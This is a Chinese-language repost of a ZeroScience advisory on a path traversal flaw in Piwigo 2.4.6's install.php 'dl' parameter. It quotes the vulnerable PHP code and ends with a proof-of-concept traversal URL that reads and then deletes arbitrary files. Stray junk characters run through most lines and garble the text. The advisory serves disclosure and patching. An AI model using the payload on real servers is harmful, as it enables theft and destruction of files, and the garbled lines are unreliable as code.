Piwigo是用PHP编写的相册脚本。 ^$ P. R9 Q( W6 x( ?% U5 o- w0 n
( c: P% ?9 W& q* vPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
, h% O& e, u7 y====================================================================
5 y+ Z" c5 b0 P2 J' w& o; }' B" n/install.php:
W+ C3 B" p7 P. q0 E-------------+ n& [/ _# Y# K! u! u
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
& |: l; \, N; g3 I114: {/ T6 V& H( L. z5 E
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];6 ^. f" K4 R5 Q9 ]+ F; l
116: header('Cache-Control: no-cache, must-revalidate');1 L- \! J7 C& ?. [2 {
117: header('Pragma: no-cache');
3 b. A3 W* G5 C( V1 Q- s% |- ^+ ~" n118: header('Content-Disposition: attachment; filename="database.inc.php"');
( D. L9 b! t7 J" Y4 n7 P# T119: header('Content-Transfer-Encoding: binary');4 l8 [$ m/ K" _. Y! Q |
120: header('Content-Length: '.filesize($filename));
' ^& C( F$ [2 t. y/ n121: echo file_get_contents($filename);: ]7 X- ^- q7 h6 T% D: ~
122: unlink($filename);
7 w: g p, T7 K4 B, g; W123: exit();
" \* S4 @& `: d' M. r124: }
! o/ m' w; M, ]6 U6 T7 N2 \====================================================================9 s6 K2 h- U* O9 [# o0 A
1 o* F! w- N% t0 x7 F
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
) w4 K8 E6 d8 I1 v1 {: s) K Apache 2.4.2 (Win32)
, i; u5 u- S+ Q2 N& r PHP 5.4.4
8 c. u, {- ?3 U2 o* c MySQL 5.5.25a5 p6 M0 K) w5 b: O! X- T- L: q$ R. ^
7 h" b4 Y: @( K
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic+ |4 F: c5 T% t) x, f% o
@zeroscience
# S! ~& k" N+ q, e* v: x ( A- ]$ f3 c) K" S
Advisory ID: ZSL-2013-5127
4 ^5 Z4 d& g' e. ]2 eAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
3 J# C+ i0 b' v0 i; TVendor Patch: http://piwigo.org/bugs/view.php?id=2843
: _8 m- x% j+ U. q$ B
& D9 s( p* a; h D15.02.20134 w6 B' f" ]% {+ M" _+ a/ M- j
]9 w) S+ a3 x/ t( x
--& U% k% v4 u8 |8 U# J$ |, U7 \8 U5 \
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt r0 w' |* C a# v
l2 Z. [) G+ W) v- l
|